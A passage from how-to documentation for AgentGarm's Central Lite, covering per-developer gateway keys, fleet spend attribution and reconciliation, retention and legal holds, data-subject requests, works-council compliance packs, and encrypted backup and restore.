alice as its owner, on the Central Lite host garm-central identity agent add --principal --agent-kind claude-code --sponsor :owner 4. Issue a gateway key garm-central identity key issue mints a gateway key for an active principal and lists it as a credential issued by agentgarm, for 2,160 hours by default and at most 8,784. The key is never shown, not even once: Central Lite seals it in its keystore and prints only the credential's id. It goes over the control channel to each enrolled machine the principal is bound to, once that machine has applied a registry listing it, and the machine keeps it only for an active principal bound there. On the machine, agentgarm identity api-key hands it to the bound account alone, for Claude Code's apiKeyHelper. AgentGarm passes the key on unchanged, so it works only through a route to your organisation's gateway. A key issued elsewhere, such as a provider key, is listed by its fingerprint with identity credential add, the key read on stdin, never kept. Issue a key for alice, on the Central Lite host garm-central identity key issue --principal See also Give Claude Code a per-developer gateway keyGive each developer their own gateway key from Central Lite and let Claude Code fetch it through apiKeyHelper; a claude.ai login is never routed. 5. Revoke a credential or retire a principal garm-central identity credential revoke marks the credential revoked in the registry, puts its fingerprint on the signed revocation list and erases its sealed key if Central Lite issued it; a reason is required. If the erasure fails, the command exits 1 saying so, the revocation stands, an alert is raised and serve retries. key issue --rotates issues a new key and revokes the old one in the same action. On each machine, a revoked credential stops counting as anyone's (fail_open_alert). A key AgentGarm issued also stops working (fail_closed): agentgarmd erases its copy and the proxy refuses it within a minute. The same happens when its principal is suspended or retired with identity principal state. A key issued elsewhere keeps working at its issuer: end it there too. For a person provisioned by SCIM, deactivating them at your identity provider suspends their principal in the same way and publishes the registry at once, so their AgentGarm-issued gateway keys stop on every machine without a command here; Entra ID's deletion 30 days later retires them (offboard someone). Revoke a credential, or retire a principal, on the Central Lite host garm-central identity credential revoke --reason "left the company" garm-central identity principal state retired 6. Check what each machine holds While serve runs, Central Lite sends each enrolled machine the newest registry over its control channel, not at once: a connected machine gets it within seconds, one that is offline gets it when it next connects. The machine verifies its signature before reading it, and chains it in its own audit log. garm-central identity publish publishes the registry as it stands as a new version now, without waiting for a change. On a machine, agentgarm identity shows where the registry comes from (central: with the org and its version; STALE once past its expiry, though it stays in force), the principal your account is bound to, its credentials and their state, the agent identities you are or sponsor, the gateway keys held for you and your spend over 30 days. Never a key or a fingerprint. The dashboard's Identity screen shows you the same. Root adds --all to see every identity. If it still shows the previous version, the delivery has not arrived yet: run it again. Publish the registry now, on the Central Lite host garm-central identity publish Show every identity the machine holds, as root sudo agentgarm identity --all Checked by the walk: these commands ran as written on a Central Lite host and a Linux node enrolled in Central Lite, and the output showed central:. The dashboard's Identity screen: your principal and where the registry comes from, then your credentials and agent identities with their state 7. Read the delegations and export the inventory When an agent presents your identity provider's assertion for a principal with an external identity, the machine's token endpoint issues it a short-lived access token and records a delegation from that principal to the task's own (the agent identity's, when it runs as one), scoped and expiring with the token. garm-central identity delegations lists the uploaded ones, newest first, with the principals Central Lite authored resolved; the console's Identity section shows them under Delegations, as keyed hashes. garm-central identity export prints the newest published registry as an identity inventory document for an external agent registry: ids, names and subjects as your tenant's keyed hashes, never a fingerprint or a key. List delegations and export the inventory, on the Central Lite host garm-central identity delegations garm-central identity export Checked by the walk: this command ran as written on a Central Lite host. See also Attribute AI spend by machine and personRead your enrolled machines' model spend by day, machine, provider and model, and reconcile it against your providers' own usage and cost reports. 8. List principals in a machine's own policy Without Central Lite, or before a machine enrols, its default.yaml can carry an identity section, read once when agentgarmd starts: the principals, the local uids whose tasks are theirs, their external identity, and the keyed fingerprints of their gateway keys under credentials. trusted_issuers pins your identity provider's public keys for the token endpoint and needs a gateway_issuer; on_invalid_assertion is alert or deny, and deny needs a trusted issuer. The proxy fingerprints each call's provider key and stamps the call with the matching credential and its principal. sudo agentgarmd identity fingerprint reads a key on stdin, never as an argument, and prints fingerprint_key_id and fingerprint to paste into the list; never the key. The fingerprint key is the tenant's: enrolment replaces a machine's own with Central Lite's, so fingerprints computed before enrolment no longer match until you compute them again. sudo agentgarmd identity export prints the registry in force on that machine as the same inventory document as garm-central identity export; it is refused on a machine that never enrolled. A principal and its gateway key in default.yaml identity: on_invalid_assertion: alert gateway_issuer: https://ai-gateway.example.com trusted_issuers: - issuer: https://idp.example.com jwks: '{"keys":[{"kty":"EC","crv":"P-256","kid":"k1","x":"WbbiSIJZWAhTDtSnHd8w1JmZhHJpgSkwm4mlo0Nr0wY","y":"JYOH1Dv1UF9TaMm8FWLlLHGRp1xBTVdgVkvgiUP4b-4"}]}' algorithms: [ES256] client_ids: [claude-code] principals: - id: 01920000-0000-7000-8000-0000000000aa kind: human display_name: Alice uids: [501] external: { issuer: https://idp.example.com, subject: alice } credentials: - id: 01920000-0000-7000-8000-0000000000bb kind: gateway_api_key fingerprint: 3f1c0e0bb2a1f7c4a8c9d0e1f2a3b4c5d6e7f8091a2b3c4d5e6f708192a3b4c5 fingerprint_key_id: fpk-0123456789abcdef Fingerprint a gateway key, typed unseen, on the machine read -rs KEY && printf '%s' "$KEY" | sudo agentgarmd identity fingerprint; unset KEY Export the machine's identity inventory sudo agentgarmd identity export See also Give Claude Code a per-developer gateway keyGive each developer their own gateway key from Central Lite and let Claude Code fetch it through apiKeyHelper; a claude.ai login is never routed. Next guide: Attribute AI spend by machine and personpreviewAll how-to guides # Attribute AI spend by machine and person URL: https://agentgarm.com/docs/how-to/fleet-costs Docs › How-to guides › Attribute AI spend by machine and person Guide 58 of 61 · Running a fleet with Central Lite Attribute AI spend by machine and person Read your enrolled machines' model spend by day, machine, provider and model, and reconcile it against your providers' own usage and cost reports. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Read what your enrolled machines spent on model calls, per day, machine, provider and model, in the terminal and in the console; decide whether Central Lite should also keep spend per principal, and why it does not by default; then connect your vendor accounts so Central Lite reconciles the fleet's spend against the providers' own usage and cost reports. On this page 1.Read the fleet's spend 2.Open Costs in the console 3.Decide whether to keep spend per person 4.Connect your vendor accounts 5.Compare your spend with the provider's 1. Read the fleet's spend Every enrolled machine uploads the model calls its proxy recorded, and Central Lite adds each one, once, to a row per UTC day, machine, provider, model and currency: calls, input and output tokens and the cost (a call left unpriced counts with none). Currencies are never added together. garm-central costs lists the rows of the last 30 days, or as many as --days asks; the host_id column is the machine's id, which garm-central node list pairs with its host name. Only calls that go through a machine's proxy are counted, so a fleet whose agents have made no model call yet prints the header alone. Under the non-monitoring compliance profile a machine sends no model call to Central Lite at all, only hourly counts, so its spend never reaches these rows. List the last week's spend per machine and model garm-central costs --days 7 garm-central node list Checked by the walk: this command ran as written on a Central Lite host. See also See what each task costRoute an agent's model calls through AgentGarm so each one is counted and priced, and read the spend by provider and model. 2. Open Costs in the console In the console, Costs shows the same spend with a Range (Last 7, 30, 90 or 365 days) and a Group: By model, By vendor account (reconciled), By principal or By credential; choose Show costs. The Summary gives the cost, calls and tokens in one currency (any other currency is listed beside it, never added), the Daily trend draws a pair of bars per UTC day, or per week for a range over 31 days (ingested and reconciled cost; Reconciled and Priced locally under By vendor account), and Rows lists each day with its Reconciliation status: within tolerance, drift, no workspace cost, failed or not reconciled. Export CSV saves the rows loaded, with amounts as plain numbers and the currency in a column of its own. What you can group by depends on your role and its scope. By principal and By credential need a role that may read people's spend (owner, admin, security, auditor or finops, not viewer) bound at org scope, and By vendor account needs a role at org scope. A role scoped to a host group or to hosts sees By model only, summed over the machines it covers (Give people the right access in the console). By model sums the rows of every machine you can see, so the console shows no per-machine split; the terminal does. The console's Costs screen, with the range and grouping, a summary and the daily trend 3. Decide whether to keep spend per person Each call names a principal: the one whose listed credential it presented (a gateway key, or another key registered with identity credential add), a delegated principal from an access token, or else the principal its task ran as, the one Central Lite's registry binds to the user's login. Machines upload those ids only as keyed hashes, and Central Lite turns back into registry ids the ones it authored. Central Lite keeps no row per principal and credential until you run garm-central settings principal-costs on, a chained admin action; until then costs --by-principal prints a note that the rows are off, and the console says the same under By principal and By credential. It is off by default because the ingest volume of these rows is measured against a budget that is still provisional: it stays off until a replay of real recorded machine-days through Central Lite passes it. Central Lite adds these rows only for calls it receives while the setting is on; nothing earlier is filled in, and off stops adding them. Keep spend per principal and credential, and read it garm-central settings principal-costs on garm-central costs --by-principal --days 7 Stop keeping spend per principal garm-central settings principal-costs off Checked by the walk: these commands ran as written on a Central Lite host. See also Prepare a works-council or DPIA packGenerate templates that describe what your deployment collects, keeps and sends, and switch the fleet to the non-monitoring profile during talks. 4. Connect your vendor accounts Central Lite reconciles the fleet's calls against a provider's own usage and cost reports with a least-privilege admin (or analytics) key for the account: anthropic, openai, cursor, devin or github-copilot, one account per provider. For Anthropic the account is the organisation's UUID, for OpenAI the organisation id (org-…). garm-central connector add reads the key from stdin only and seals it in Central Lite's keystore; it is never stored in the database, printed or logged, and connector rotate replaces it the same way. Once a machine enrols, it refuses to reconcile on its own, so a fleet reconciles in Central Lite only, and connector add refuses an account an enrolled machine still has a key for. serve reconciles every hour (--reconcile-every) each of an account's last three settled days that has no run yet or whose run failed; connector run reconciles one day now, by default the last settled one. A failed run changes no spend, raises a reconciliation_failed alert and exits 1. Central Lite refuses to run one as root. Add your Anthropic organisation, the key typed unseen read -rs KEY && printf '%s' "$KEY" | garm-central connector add anthropic --account ; unset KEY Reconcile the last settled day now garm-central connector run anthropic List the connected accounts garm-central connector list Checked by the walk: this command ran as written on a Central Lite host. See also Reconcile spend with provider invoicesReconcile a day of this machine's model calls against your provider's own usage and cost reports, read where they differ, and export FOCUS rows. 5. Compare your spend with the provider's garm-central costs --reconciled lists per day, provider and model the fleet's calls and cost beside the reconciled account, its status (WITHIN_TOLERANCE, DRIFT, NO_WORKSPACE_COST, FAILED, or not reconciled) and the local, report and adopted figures, with - where a side has none. A model only the provider reported still gets its row. --by-key goes per vendor API key and model: the requests and their usage priced locally, which is not the billed cost, joined to the credential you listed with that key's --issuer-key-id and so to its principal. A minute two credentials both held reads shared key, ambiguous. A key the provider billed after you revoked its credential raises revoked_credential_billed in garm-central alerts list. Central Lite itself enforces no spend limit: a budget lives in the policy you publish, and each machine holds every task to it. Put the fleet's spend beside the provider's garm-central costs --reconciled --days 7 garm-central costs --reconciled --by-key --days 7 Checked by the walk: this command ran as written on a Central Lite host. See also Set spend budgets and stop runaway loopsGive each agent task a cost budget and a token rate, see what the agent meets at the cap, and stop loops and runaway subagents with limits of their own. Next guide: Set retention, legal holds and data-subject requestspreviewAll how-to guides # Set retention, legal holds and data-subject requests URL: https://agentgarm.com/docs/how-to/retention Docs › How-to guides › Set retention, legal holds and data-subject requests Guide 59 of 61 · Running a fleet with Central Lite Set retention, legal holds and data-subject requests Set how long Central Lite keeps each class of record, put a legal hold on the records a case needs, and answer a person's access or erasure request. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Set how long Central Lite keeps each class of record within its floor and ceiling, narrow the bounds with a retention profile, put a legal hold on the records a case needs on Central Lite and on every enrolled machine but CI runners, release it only with several admins' passkeys, and answer a person's access or erasure request by their pseudonyms. On this page 1.Check the retention in force 2.Narrow the bounds with a retention profile 3.Run a retention pass 4.Place a legal hold 5.Release a hold with several admins 6.Export a person's records 7.Erase a person's records 1. Check the retention in force Central Lite keeps each upload class for a number of days, counted from the record's arrival at Central Lite: security and audit 396 days (13 months), operational 90 and telemetry 30 by default. garm-central retention show prints the profile in force, each class's days with its default, floor and ceiling and the events due now, the profiles you can select, and any pending erasures. The desktop records of a Mac's computer-use airbag and capture monitor preview are security records; input that passes the airbag leaves none. retention set CLASS DAYS changes one class within its bounds: 183 to 2,557 days for security and audit, 1 to 730 for operational, 1 to 365 for telemetry. A value outside them is refused, not moved, so evidence cannot be deleted early by configuration; the database holds the same bounds below the command. Each change is chained in Central Lite's audit log. Show the retention and keep security records two years, on the Central Lite host garm-central retention show garm-central retention set security 730 Checked by the walk: this command ran as written on a Central Lite host. 2. Narrow the bounds with a retention profile A retention profile may lower a class's ceiling or raise its floor, never beyond the defaults' bounds. The catalog ships standard (the bounds as they are) and eu-ai-act-deployer-logs (an operational floor of 184 days). For a works agreement, define your own with retention define-profile: each class it changes needs a reason, and the basis is chained. A profile something selects is neither redefined nor removed. retention profile ID selects it for the org, and a value outside the new bounds moves to the nearer one; --node HOST selects one for a single machine, and --inherit returns it to the org's. Central Lite signs the settings for the nodes, which apply the profile to their own store within the machine's bounds. On a machine, the dashboard's Privacy & retention screen names the profile in force and whose it is, and how long each class is kept there. In the console, Transparency shows “Retention in force”, and “Compliance settings for nodes” selects a profile with “Select for the org with a passkey”. Define a works agreement's ceiling and select it for the org, on the Central Lite host garm-central retention define-profile works-agreement --name "Works agreement 2026" --description "The ceilings our works agreement sets for activity records" --basis "Works agreement of 2026-03-01, clause 7" --ceiling operational=60 --reason "operational=the agreement keeps activity records at most 60 days" garm-central retention profile works-agreement Checked by the walk: this command ran as written on a Central Lite host. The dashboard's Privacy & retention screen: the profiles in force, what stays on this machine, and how long each class of record is keptSee also Prepare a works-council or DPIA packGenerate templates that describe what your deployment collects, keeps and sends, and switch the fleet to the non-monitoring profile during talks. 3. Run a retention pass garm-central serve runs a retention pass when it starts and every hour (--retention-every, or off). retention run runs one now: events, delegations, recorded losses, cost rows and support bundles past their class's days are deleted page by page, each page chained with its counts, and pending erasures that are due are finished. It prints how many records each class deleted and how many a hold kept. A pass never deletes what a standing legal hold covers. It never sweeps Central Lite's own records either: its audit chain, alerts, nodes, certificates, approvals and rollouts stay. Run a retention pass now, on the Central Lite host garm-central retention run Checked by the walk: this command ran as written on a Central Lite host. 4. Place a legal hold A hold's scope is all, a machine Central Lite knows (host: and its host id), a task (task: and its id) or a person by a pseudonym nodes upload (subject:kh1: and 32 hex digits). --class limits it to classes (none: every class), and --from and --until to a record-time range, inclusive, where a date alone covers the whole day. Placing one is a single admin action, chained with its reason; legal-hold list shows the holds that stand, and legal-hold show one hold with its release requests. The hold also reaches every enrolled machine but CI runners, in a list Central Lite signs, without its reason, on the machine's next delivery over the control channel, not at once (an offline machine gets it when it next connects). There it stops retention, shedding, checkpoint clean-up and rollback for what it covers, and agentgarmd legal-hold list shows it as placed by central: and your org; if the hold is not there yet, the delivery has not arrived, so run it again. A machine cannot match a person's pseudonym, so a subject: hold holds everything on it; root cannot release a hold Central Lite placed. Exporting a task's evidence bundle from Central Lite places a task: hold on that task for you, or reuses one that stands, so the records behind a bundle you handed out are not deleted; it reaches the machines like any other hold and is released the same way. A task: hold covers the task's records, whoever wrote them inside it, and nothing else. An export on the machine places no hold: it prints the agentgarmd legal-hold place --scope task: command to run. The bundle itself is a file outside both stores, which retention never reaches. Hold October's security and audit records, on the Central Lite host garm-central legal-hold place --scope all --class security --class audit --from 2026-10-01 --until 2026-10-31 --reason "case 2026-17: keep October's enforcement evidence" garm-central legal-hold list See Central Lite's holds on a machine sudo agentgarmd legal-hold list Checked by the walk: these commands ran as written on a Central Lite host and a Linux node enrolled in Central Lite, and the output showed placed by central:. 5. Release a hold with several admins A release takes M distinct admins' passkey assertions over a challenge bound to the hold and the request; the console has no legal holds screen, so this is done on the Central Lite host. legal-hold release opens a request that lives 24 hours by default (5 minutes to 72 hours). M is 2, or 1 when the org has a single admin, which is warned; --required raises it, up to every admin who may approve. Only admins holding owner, or security for the whole org, with a passkey count and may approve, each from 24 hours after that role was bound (roles and legal holds); an admin SCIM suspended counts for nothing. Each admin reads legal-hold challenge, signs its input with fido2-assert and submits it with legal-hold approve. An admin counts once, user verification is required, and an admin or passkey added less than 24 hours earlier is refused. The M-th approval releases the hold and signs the list that releases it on the machines. M of N binds admins, not whoever controls Central Lite's host, who holds its state directory and keys; the 24-hour rule, the alerts and the chain make an approver made there visible first. Open a release, then approve it as each admin, on the Central Lite host garm-central legal-hold release HOLD_ID --reason "case 2026-17 closed" garm-central admin list garm-central legal-hold challenge RELEASE_ID garm-central legal-hold challenge RELEASE_ID --credential-id CREDENTIAL_ID > assert.in fido2-assert -G -p -v -i assert.in -o assert.out DEVICE garm-central legal-hold approve RELEASE_ID --admin alice --assertion assert.out 6. Export a person's records Central Lite holds a person only as pseudonyms, keyed hashes nodes compute before upload. With --identity-stdin, garm-central dsar export reads an identifier, such as a login name or an email, from stdin and computes its pseudonym in every personal field; the identifier is never stored or logged. Or name pseudonyms directly with --subject kh1:…. It writes the matching events, delegations and per-principal cost rows, held ones included, to a new 0600 file as JSON Lines, and the export is chained with its counts. The file's first line lists the pseudonyms; each event is as the node uploaded it, base64 and pseudonymised. A person's clear records stay on their machines: there, agentgarmd dsar export writes one user's tasks, events and decisions, by uid. With SCIM provisioning, Central Lite also holds each person your identity provider sends: their userName, display name, externalId, whether they are active, their groups and, if you chose one, the login attribute. Emails, phone numbers, addresses and every other attribute are dropped as the request is read and never stored. In the console, names, identities at the provider, a timeline's person-level view and evidence exports are shown only to roles allowed to see people: viewer and finops are not (what each role sees). Export what Central Lite holds about alice, on the Central Lite host printf 'alice\n' | garm-central dsar export --identity-stdin --out alice-dsar.jsonl Export one user's records on a machine sudo agentgarmd dsar export --uid UID --out alice-machine.jsonl Checked by the walk: this command ran as written on a Central Lite host. 7. Erase a person's records garm-central dsar erase takes the person as the export does, with a reason, and deletes the matching records. What a standing hold covers is kept, and so are security and audit events that arrived less than 183 days ago (or inside a floor a profile raised): the command prints them as pending, and a later retention pass erases them once the hold is released or the floor has passed. When anything was deleted, Central Lite writes a fresh backup and crypto-shreds every earlier one, so no backup still holds what was erased. Its database zeroes the deleted rows' pages and truncates its write-ahead log, and a restore's replaced database or a crashed backup's scratch copy is removed; what the disk itself keeps of old blocks is for the host's full-disk encryption to cover. Central Lite's audit chain is not erased: its records carry counts and the reason, never a pseudonym. Machines have no erasure yet: their records leave by their own retention, and their audit chains are never pruned. Erase what Central Lite holds about alice, on the Central Lite host printf 'alice\n' | garm-central dsar erase --identity-stdin --reason "erasure request 2026-04" Checked by the walk: this command ran as written on a Central Lite host. See also Back up and restore Central LiteWrite Central Lite's encrypted backups by hand and on a schedule, and restore one so that no enrolled node refuses what Central Lite signs next. Next guide: Prepare a works-council or DPIA packpreviewAll how-to guides # Prepare a works-council or DPIA pack URL: https://agentgarm.com/docs/how-to/works-council Docs › How-to guides › Prepare a works-council or DPIA pack Guide 60 of 61 · Running a fleet with Central Lite Prepare a works-council or DPIA pack Generate templates that describe what your deployment collects, keeps and sends, and switch the fleet to the non-monitoring profile during talks. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Generate the template pack that describes what your AgentGarm deployment collects, keeps and sends, switch your fleet to the non-monitoring profile so no per-user content reaches Central Lite while an agreement is negotiated, and check what Central Lite can then still see. The templates are not legal advice: they state product facts and leave every legal question to your counsel. On this page 1.Generate the pack on a machine 2.Complete the templates with your counsel 3.Decide what may leave the machines 4.Switch it on from Central Lite 5.Check what Central Lite can still see 6.Publish the settings again after a restore 1. Generate the pack on a machine On any machine with AgentGarm, agentgarm compliance pack --out writes six Markdown files into a directory it creates: README.md, data-inventory.md, processing-description.md, dpia-skeleton.md, non-monitoring-profile.md and dora-supplier-metadata.md. They are generated from the build's own event classification, the retention table, the catalog's dated jurisdiction entries and the compliance profile agentgarmd reports, so they describe what is deployed. An existing file is never replaced: use a fresh directory for each pack. The pack is Markdown only. A PDF and an export from the console are not built. For outbound inspection preview, non-monitoring-profile.md has a section for assessing policies that list sites: what it reads, keeps, sends and for how long. It reads the path, query and body of the requests launched agents send to the listed sites, in memory on the machine, never a response, a header or another site. A finding keeps the site, the rule, a count, where in the request and what was done, never the secret or the body. The request's path is kept, redacted, on the machine only, never uploaded, not even as a hash. Central Lite receives findings, uninspected records, alerts and ten-minute counts per site, the site as a keyed hash. Findings are kept as security records and the counts as operational ones, for the retention those classes have. Its placeholders ask which sites are listed and why, and whether the people covered were told. Write the pack into a new directory, on the machine agentgarm compliance pack --out works-council-pack Checked by the walk: this command ran as written on a Linux node enrolled in Central Lite. 2. Complete the templates with your counsel Every document starts with “Template — not legal advice”. The pack states what the product does; everything a law may require is left to you, as an [operator: …] placeholder (legal bases, recipients, purposes) or a [counsel: …] question. Its legal references are only the catalog's entries, such as GDPR Article 88 and BetrVG § 87(1) no. 6, each with its source and the day it was read, as orientation for counsel; whether one applies to you is for you and your counsel to decide. The DORA supplier metadata carries placeholders and questions only: no clause text ships until counsel has reviewed it. AgentGarm's own counsel review of these templates is still open, so treat them as a first draft for your works council or DPIA, not a finished document. 3. Decide what may leave the machines The non-monitoring profile is for deployments that must not monitor individuals, for example while a works agreement is negotiated. Under it a machine sends no tool call, model call, file or network event to Central Lite: its activity leaves only as one record per hour with counts per data class, agent kind and policy outcome. Security and audit events are still sent, with every field that identifies a person removed, not pseudonymised. Support bundles are not uploaded, a CI job's ask is not relayed to a remote approver (it is denied), and agentgarmd replay export, which would carry one user's commands and paths to Central Lite's replay, is refused. On a Mac with the computer-use airbag preview, its records keep no element title and the capture monitor's no app name. The airbag records only its decisions on protected targets, never what was typed, and nothing of input that passes. Outbound inspection preview keeps no request path at all, on the machine included, and sends its findings and alerts without the site, and its counts only per listed entry as the admin wrote it, with no task or person. Enforcement and the machine's own records and audit log do not change. A policy can ask for the profile too, in default.yaml; a default.yaml that does not load applies it, so privacy fails closed. The non-monitoring profile in a policy's default.yaml compliance: profile: non_monitoring 4. Switch it on from Central Lite On the Central Lite host, garm-central compliance show prints the compliance settings Central Lite signs for nodes: the version, the org's retention profile and non-monitoring switch, and each node's own. compliance non-monitoring on asks every node for the profile, or one node with --node; the reason (1 to 256 characters) is chained, and the next signed settings reach the nodes over the control channel, not at once: a connected node gets them on its next delivery, an offline one when it next connects. A node applies the profile when the org's switch, its own switch or its signed policy asks, so switching it off at Central Lite never turns off what a policy asks. The profile is an operator setting, not a protection against the operator: an admin can switch it off. Every change is chained on the machine, raises a compliance_profile alert at Central Lite, and shows on the machine's compliance profile line in agentgarm status (compliance profile NON-MONITORING once it is in force) and its local Privacy & retention screen, so the people concerned can see it. Until the settings arrive, that line still shows the previous profile: run it again. Show and switch the org's non-monitoring profile, on the Central Lite host garm-central compliance show garm-central compliance non-monitoring on --reason "works agreement under negotiation" See the profile in force, on the machine agentgarm status Checked by the walk: these commands ran as written on a Central Lite host and a Linux node enrolled in Central Lite, and the output showed compliance profile NON-MONITORING. See also Set retention, legal holds and data-subject requestsSet how long Central Lite keeps each class of record, put a legal hold on the records a case needs, and answer a person's access or erasure request. 5. Check what Central Lite can still see In the console, open Transparency. “What nodes send” shows the fleet's compliance profile (non-monitoring, standard or mixed) and how many nodes are under it. “Compliance settings for nodes” shows the org's switch, “Non-monitoring for the org” (On or Off): pressing it asks for a reason and your passkey (“Switch on with a passkey”, or off). “Per-node overrides” lists the nodes with their own settings; a row's “Change”, or “Change a node's settings”, opens a node's profile and its own switch the same way. Under the profile Central Lite has only aggregates of a node's activity, and no cost per person. What still arrives: the hourly counts, status reports, and security and audit events with their time, the machine, the task id, process ids and the agent kind. On a single-user machine those still relate to one person, and there is no minimum count or coarser window yet: say so in your assessment. Those events are what a task's incident timeline in Central Lite shows: one task's uploaded events, oldest first, with Central Lite's own actions on it, metadata only, never a prompt. Opening a timeline writes nothing, but every evidence bundle exported from it is chained with the admin who exported it and places a hold on the task's records. A kill order can name one person only by the pseudonym nodes upload (principal:kh1:), and cannot find a machine under the non-monitoring profile, whose uploads carry none; its reason is shown on every machine in scope, so it names no one. If your identity provider provisions people into Central Lite with SCIM, Central Lite keeps only each person's userName, display name, externalId, whether they are active, their groups and, if you chose one, a login attribute; emails, phone numbers, addresses and every other attribute are dropped as the request is read. Who sees names in the console is a matter of role: viewer and finops never see people, and the other roles do. Put both in your assessment (what SCIM creates, what each role sees). The console's Transparency screen: what nodes send, by data class, the retention in force and the compliance settings with the org's switchSee also Investigate a task across the fleetRead a task's timeline in Central Lite with its gaps, export a bundle the org root's evidence key signs, verify it offline and hold its records. 6. Publish the settings again after a restore After Central Lite is restored from a backup and restore finish has run, its nodes can hold compliance settings newer than the backup's. Central Lite then does not sign the backup's settings on its own, since they could undo a switch made after the backup: it raises compliance_settings_behind_nodes and waits. Check compliance show, then compliance publish signs the settings as they stand, above every version a node reports, chained with your reason. On a Central Lite that is not behind, it signs the same settings again at a newer version. Sign the compliance settings as they stand, on the Central Lite host garm-central compliance show garm-central compliance publish --reason "settings checked after the restore" Checked by the walk: this command ran as written on a Central Lite host. See also Back up and restore Central LiteWrite Central Lite's encrypted backups by hand and on a schedule, and restore one so that no enrolled node refuses what Central Lite signs next. Next guide: Back up and restore Central LitepreviewAll how-to guides # Back up and restore Central Lite URL: https://agentgarm.com/docs/how-to/backup-restore Docs › How-to guides › Back up and restore Central Lite Guide 61 of 61 · Running a fleet with Central Lite Back up and restore Central Lite Write Central Lite's encrypted backups by hand and on a schedule, and restore one so that no enrolled node refuses what Central Lite signs next. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Write Central Lite's encrypted backups by hand and on a schedule, shred the ones you no longer keep, and restore one into a state directory that holds only the keystore that sealed it. The restored Central Lite signs nothing until its enrolled nodes have reported what they hold, so when you finish it numbers every new policy, registry and revocation list above the nodes' anti-rollback marks and no node refuses it. On this page 1.Write a backup and list them 2.Set the schedule serve keeps 3.Shred the backups you no longer keep 4.Restore into a state directory that holds only the keystore 5.Serve, and let the nodes report 6.Finish above the anti-rollback floors 1. Write a backup and list them garm-central backup create works while serve runs. It takes a consistent copy of Central Lite's database, encrypts it under a fresh key of its own, writes it to a new 0600 file central-.agcb under the state directory's backups (or --dir), and prints its id, path, size and SHA-256. An edited, reordered or cut-short file never decrypts. Each backup's key is sealed in Central Lite's keystore, never in the file, and the keystore is in no backup: a backup opens only with the keystore that wrote it. backup list shows every backup, newest first, with its time, size, schema version and path. Write a backup now and list every backup garm-central backup create garm-central backup list Checked by the walk: this command ran as written on a Central Lite host. 2. Set the schedule serve keeps While it runs, serve writes a backup every 24 hours by default, the first a period after it starts, and crypto-shreds all but the newest 7. --backup-every takes seconds, minutes or hours (s, m, h; at least 60s), or off; --backup-keep how many to keep; --backup-dir another directory. A failed backup is logged, alerted as backup_failed and tried again at the next tick. By default the backups sit beside the keystore in the state directory, and in the container image the database, the backups and the software keystore all live in the one volume: whoever holds the volume holds Central Lite's keys. Copy the backups somewhere else, and keep the keystore (the state directory's keys under software custody) backed up apart from them under its own custody. Serve with a backup every 6 hours, keeping a week of them garm-central serve --listen 0.0.0.0:8443 --backup-every 6h --backup-keep 28 3. Shred the backups you no longer keep garm-central backup prune --keep N crypto-shreds every backup beyond the newest N: it erases the backup's key, removes its file and prints how many it shredded. Copies of that file elsewhere, offsite included, can then never be decrypted. backup list keeps the row, marked SHREDDED with when and why, and a restore of it is refused. An erasure shreds backups too: once dsar erase deletes anything, Central Lite writes a fresh backup and shreds every backup taken before the erasure, so no backup still holds what was erased. Keep the newest seven backups garm-central backup prune --keep 7 Checked by the walk: this command ran as written on a Central Lite host. See also Set retention, legal holds and data-subject requestsSet how long Central Lite keeps each class of record, put a legal hold on the records a case needs, and answer a person's access or erasure request. 4. Restore into a state directory that holds only the keystore garm-central restore --from FILE refuses while a serve holds the state directory (serve.lock), so stop it first, or restore into another state directory, created 0700 if it is missing, that holds nothing but the keystore. On a new host, that is /var/lib/agentgarm-central itself, created as root for Central Lite's account. The keystore must be there first: under software custody, put back the keys directory from the keystore's own backup; a key in the host's TPM opens only on that TPM, and restoring onto another keystore is not built. Without it the restore refuses: the backup's key is not in this keystore. The restore decrypts the copy, checks its size, SHA-256, integrity and org, verifies every audit chain, and swaps it in in restore mode: every enrolment token issued before is void, and Central Lite signs nothing. A database it replaces moves under the state directory's replaced for restore mode only, and is removed at restore finish or by the first erasure. As a drill, this restores the newest backup into restored beside the live Central Lite, with a copy of its keys standing in for the keystore's backup, and leaves the live Central Lite serving. Remove the drill's directory afterwards: it holds a copy of Central Lite's keys. Drill a restore into a second state directory, then remove it install -d -m 0700 restored cp -a /var/lib/agentgarm-central/keys restored/ garm-central --state-dir restored restore --from "$(ls -t /var/lib/agentgarm-central/backups/central-*.agcb | head -n 1)" garm-central --state-dir restored restore status rm -rf restored Checked by the walk: this command ran as written on a Central Lite host. 5. Serve, and let the nodes report Start serve on the restored state directory at Central Lite's usual URL: its TLS key came back with the keystore, so the nodes' pin still matches. In restore mode it takes uploads and reports, but sends nothing on the control channel and enrols no one; a node renewing its certificate keeps the one it has and retries. Like any start of serve, it signs every console admin out. garm-central restore status shows the floors, Central Lite's own newest versions, each node's marks since the restore (policy, revocations, identity registry, MCP registry, root, catalog and legal hold list), the nodes not reported since the restore, and what the restore lost: uploads a node had sent after the backup, recorded as lost entries per stream. A node enrolled after the backup is unknown to the restored Central Lite: leave on it and enrol it again with a new token. Restore mode also refuses kill order requests and approvals. A kill order issued after the backup is still in force on the nodes it reached, and they report it, so garm-central kill list shows its id as unknown here, with how many nodes report it in force. Once restore mode ends, lift it with garm-central kill lift; an order only nodes report takes at least the root's threshold for a wide order. Until then a task's evidence export cannot skip its legal hold. Single sign-on's client key or secret and every SIEM sink's credential live in the keystore, never in a backup. A restored Central Lite stops each SIEM sink with “credential not in this Central's keystore” until you remove the sink and add it again (rotate a credential). SCIM tokens are kept in the database as hashes, so they are back as they stood at the backup: revoke again any you revoked since, and make a new one for a source added since. In restore mode every SCIM write is answered 503 with a wait of five minutes, so your identity provider retries rather than giving up. What SCIM changed after the backup, offboardings included, is lost with the rest: once restore mode ends, have the provider send its users again before you rely on who is suspended. Serve the restored Central Lite and read its restore state garm-central serve --listen 0.0.0.0:8443 garm-central restore status List the kill orders, those only nodes report included garm-central kill list See also Enrol developer machinesEnrol a machine in Central Lite with a one-time token that pins Central Lite's key, see it report in the inventory, and let its users enrol presence keys. 6. Finish above the anti-rollback floors Nodes refuse a policy bundle, revocation list, identity registry, MCP registry snapshot or legal hold list at or below the version they hold, and a revocation list that drops an entry. A restored Central Lite would otherwise issue numbers its fleet already holds from after the backup, and forget revocations made since. garm-central restore finish raises the floors past every mark the nodes reported (and the replaced database's, when there was one), re-imports revocations, and re-issues the 